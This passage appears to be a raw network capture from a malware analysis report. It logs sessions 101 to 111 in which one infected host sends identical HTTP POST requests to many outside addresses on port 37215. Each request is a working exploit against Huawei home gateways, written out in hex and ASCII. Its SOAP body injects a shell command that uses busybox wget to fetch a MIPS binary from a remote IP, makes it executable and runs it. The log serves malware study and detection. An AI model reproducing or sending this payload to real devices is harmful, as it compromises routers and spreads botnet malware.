/tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	38414	156.167.122.41	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.956134081 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	39354	41.113.11.68	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.956929922 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	51050	41.41.95.201	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.957760096 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	44164	41.26.2.2	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.958704948 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	47272	41.201.89.180	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.959523916 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	56034	41.66.186.65	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.960374117 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	42564	197.27.200.127	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.961213112 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	56114	156.237.170.76	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.962047100 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	58138	156.59.177.15	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.962891102 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	46788	197.91.250.61	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.963759899 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	54370	156.201.14.29	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.964617968 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 